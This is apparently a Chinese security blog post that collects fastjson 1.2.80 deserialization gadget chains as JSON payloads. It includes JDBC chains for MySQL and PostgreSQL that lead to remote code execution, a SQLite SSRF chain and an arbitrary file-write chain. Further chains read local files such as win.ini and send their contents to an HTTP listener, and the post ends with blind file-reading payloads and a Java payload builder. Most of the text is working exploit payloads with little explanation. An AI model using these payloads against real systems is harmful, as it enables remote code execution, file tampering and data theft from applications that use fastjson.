一、jdbc链
fastjson1.2.68存在mysql和pgsql的jdbc链应该没人不知道了吧。
mysql链来自
https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Xing-How-I-Used-a-JSON.pdf
pgsql链来自
https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf
并且在上文中还有介绍,由于ParseException可以期望PyConnection,PyConnection再期望Connection,因此稍微改改,1.2.68所有的Connection子类的jdbc链就能拿到1.2.80中打。但前提是依赖Jython包,比较冷门,因此这些1.2.80 jdbc链都比较鸡肋。
而在这篇文章中,作者发现了jackson的Exception期望InputStream的链。
https://www.geekcon.top/js/pdfjs/web/viewer.html?file=/doc/ppt/GC24_SpringBoot%E4%B9%8B%E6%AE%87.pdf
因此,我们只需要找到一个InputStream的子类,能够期望Connection或者Connection的子类即可构造出1.2.80版本比较实用的jdbc链。很容易在mysql和pgsql中找到这样的类。
先将InputStream加入缓存。
{
"a": "{ "@type": "java.lang.Exception", "@type": "com.fasterxml.jackson.core.exc.InputCoercionException", "p": { } }",
"b": {
"$ref": "$.a.a"
},
"c": "{ "@type": "com.fasterxml.jackson.core.JsonParser", "@type": "com.fasterxml.jackson.core.json.UTF8StreamJsonParser", "in": {}}",
"d": {
"$ref": "$.c.c"
}
}
mysql 5.1.1-5.1.49的jdbc
{
"@type": "java.io.InputStream",
"@type": "com.mysql.jdbc.CompressedInputStream",
"conn":{
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3306,
"info": {
"user": "yso_CommonsCollections4_calc",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
}
}
postgresql的jdbc
{
"@type": "java.io.InputStream",
"@type": "org.postgresql.copy.PGCopyInputStream",
"connection":{
"@type": "org.postgresql.jdbc.PgConnection",
"hostSpecs": [{
"host": "127.0.0.1",
"port": 2333
}],
"user": "root",
"database": "root",
"info": {
"socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext",
"socketFactoryArg": "http://127.0.0.1:81/spel.xml"
}
}
}
除此之外,1.2.68版本还存在SQLite的jdbc链(仅SSRF)。
{
"@type": "java.lang.AutoCloseable",
"@type": "org.sqlite.SQLiteConnection",
"url": "",
"fileName": ":resource:http://127.0.0.1:81/default.db",
"prop": {}
}
二、jdk11 write链
在1.2.68中的jdk11 write链也很熟悉了。
https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/
它的最外层类是sun.rmi.server.MarshalOutputStream。jackson既然能够期望InputStream,再由InputStream期望OutputStream也不难,io链中就能看到OutputStream。不过最简单的当属这篇文中直接用jackson期望OutputStream。
https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247512884&idx=1&sn=9ed534763d50f8edb65527396c7803a7&chksm=e9d9fd6ec9c2d347614ba9734e7cf9360f5d90da620c5422833ca8155ad4f2360790417b4ac4&mpshare=1&scene=23&srcid=0527xqJk3dj5vJHYxCCMisuQ
不过可惜的是,1.2.80禁用了FileOutputStream。在CTF中是提供了一个子类,显然实战没法用,因此我找到了一个替代类LazyFileOutputStream(依赖ant)。
先将OutputStream加入缓存
{
"a": "{"@type":"java.lang.Exception","@type":"com.fasterxml.jackson.core.JsonGenerationException","g":{}}",
"b": {
"$ref": "$.a.a"
},
"c": "{"@type":"com.fasterxml.jackson.core.JsonGenerator","@type":"com.fasterxml.jackson.core.json.UTF8JsonGenerator","out":{}}",
"d": {
"$ref": "$.c.c"
}
}
{
"@type":"java.io.OutputStream",
"@type":"sun.rmi.server.MarshalOutputStream",
"out":
{
"@type":"java.util.zip.InflaterOutputStream",
"out":
{
"@type":"org.apache.tools.ant.util.LazyFileOutputStream",
"file":"qwe.txt",
},
"infl":
{
"input":
{
"array":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==",
"limit":22
}
},
"bufLen":1048576
},
"protocolVersion":1
}
三、io链http带出敏感信息
https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf
浅蓝在这篇文章中,还介绍了一条http带出文件内容的链
它本质上是由3个链构造。
1,ognl的OgnlException期望InputStream
2,aspectjtools的SourceTypeCollisionException期望BasicCompilationUnit,其contents属性为文件内容。
3,io SSRF链+ java.util.Locale拼接字符串
显然,链1我们可以用jackson代替。
{
"a": "{ "@type": "java.lang.Exception", "@type": "com.fasterxml.jackson.core.exc.InputCoercionException", "p": { } }",
"b": {
"$ref": "$.a.a"
},
"c": "{ "@type": "com.fasterxml.jackson.core.JsonParser", "@type": "com.fasterxml.jackson.core.json.UTF8StreamJsonParser", "in": {}}",
"d": {
"$ref": "$.c.c"
}
}
链2是要带出的类,其要求是这个类可以用Exception期望到,且其属性含有敏感信息。
[{
"@type": "java.lang.Exception",
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
},
{
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits": [{}]
}
}
},
{
"x": {
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "aaa"
}
}]
链3,也就是SSRF链,可以简化成这样(需要先用链1期望)
{
"su16": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://127.0.0.1:5667/test"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,
82
]
}
]
},
"su17": {
"$ref": "$.su16.bOM.bytes"
}
}
链3的url可以利用java.util.Locale来拼接字符串或者某个对象的序列化json(需要先用链1和链2期望)。
{
"su18": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"language": "http://127.0.0.1:5667/?test=",
"country": {"@type": "java.lang.String" [{
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "C:/Windows/win.ini"
}]
}
}
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,
82
]
}
]
},
"su19": {
"$ref": "$.su18.bOM.bytes"
}
}
效果如下
了解了这个链原理之后,就可以将链2替换成别的,以此带出其他敏感信息。
selenium-api可带出jdk版本/主机名等等。
{
"su18": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"language": "http://127.0.0.1:5667/?test=",
"country": {"@type": "java.lang.String" [{"@type":"java.lang.Exception","@type":"org.openqa.selenium.WebDriverException"}]
}
}
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,
82
]
}
]
},
"su19": {
"$ref": "$.su18.bOM.bytes"
}
}
ant可以带出绝对路径(需要先用DemuxInputStream期望Project)。
{
"su18": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"language": "http://127.0.0.1:5667/?test=",
"country": {"@type": "java.lang.String" [{"@type": "org.apache.tools.ant.Project"}]
}
}
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,
82
]
}
]
},
"su19": {
"$ref": "$.su18.bOM.bytes"
}
}
四、io链布尔读文件
https://b1ue.cn/archives/506.html
浅蓝对io读文件链进行了扩展,使其可以根据是否报错/是否有dnslog/是否有httplog来布尔读文件。
这条链也可以扩展到1.2.80。
先将InputStream加入缓存。
{
"a": "{ "@type": "java.lang.Exception", "@type": "com.fasterxml.jackson.core.exc.InputCoercionException", "p": { } }",
"b": {
"$ref": "$.a.a"
},
"c": "{ "@type": "com.fasterxml.jackson.core.JsonParser", "@type": "com.fasterxml.jackson.core.json.UTF8StreamJsonParser", "in": {}}",
"d": {
"$ref": "$.c.c"
}
}
然后进行报错布尔读文件。
{"x":[{
"su17": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///D:/" //要读的文件
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36, 81 //文件内容bytes,错误时不报错,正确时报错
]
}]
}
},
{
"su18": {
"$ref": "$x[0].su17"
}
},
{
"su19": {
"$ref": "$x[1].su18.bOM.bytes"
}
}, {
"su20": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String" {
"$ref": "$x[2].su19"
},
"start": 0,
"end": 0
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [1]
}]
}
},
{
"su21": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///tmp/test"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
1
]
}]
}
},
{
"su22": {
"$ref": "$x[4].su21"
}
},
{
"su23": {
"$ref": "$x[5].su22.bOM.bytes"
}
}]}
其中"url": "file:///tmp/test",可以替换成一个http url,以形成http/dnslog为布尔条件。bytes正确时会报错且不请求url,bytes错误时不会报错,且请求url。
既然是扩展,最原始的io布尔读文件链是什么样的呢?它要求目标将反序列化后的JSONObject回显出来。
//fastjson<=1.2.68
//commons-io
//需回显,根据回显不一样,布尔读文件
String url = "file:///D:/";
InputStream input = new URL(url).openStream();
byte[] bs = new byte[input.available()];
input.read(bs);
System.out.println(Arrays.toString(bs));
System.out.println(new String(bs));
String payload = "{rn"
+ " "abc": {rn"
+ " "@type": "java.lang.AutoCloseable",rn"
+ " "@type": "org.apache.commons.io.input.BOMInputStream",rn"
+ " "delegate": {rn"
+ " "@type": "org.apache.commons.io.input.ReaderInputStream",rn"
+ " "reader": {rn"
+ " "@type": "jdk.nashorn.api.scripting.URLReader",rn"
+ " "url": ""+url+""rn"
+ " },rn"
+ " "charsetName": "UTF-8",rn"
+ " "bufferSize": 1024rn"
+ " },rn"
+ " "boms": [{rn"
+ " "charsetName": "UTF-8",rn"
+ " "bytes": [36]rn"
+ " },{rn"
+ " "charsetName": "UTF-8",rn"
+ " "bytes": [49]rn"
+ " }]rn"
+ " },rn"
+ " "address": {rn"
+ " "$ref": "$.abc.BOM"rn"
+ " }rn"
+ "}";
//System.out.println(payload);
System.out.println(JSON.parseObject(payload));
因此基本不适合实战环境,不过有意思的是,这个JSONObject,也是可以用io的SSRF链带出的。
{
"su18": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"language": "http://127.0.0.1:5667/?test=",
"country": {"@type": "java.lang.String" [
{
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///D:/"
},
"charsetName": "UTF-8",
"bufferSize": "1024"
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [36, 82]
}
]
}
]
}
}
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [1]
}
]
},
"su19": {
"$ref": "$.su18.bOM.bytes"
}
}
其中bytes无论正确与否都可以发起http请求,不过带出的内容却不一样。
不过相比于浅蓝的链,并没有任何优势。因为其还是要以httplog为布尔条件读文件,带出的那个base64字符串也因为强制大写而无法正确的解码。
在此基础上我写了个比较效率和方便的脚本来爆破文件字节,效果如下。
https://github.com/kezibei/fastjson_payload/blob/main/web.py
原文始发于微信公众号(珂技知识分享):fastjson 1.2.80的一些小链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论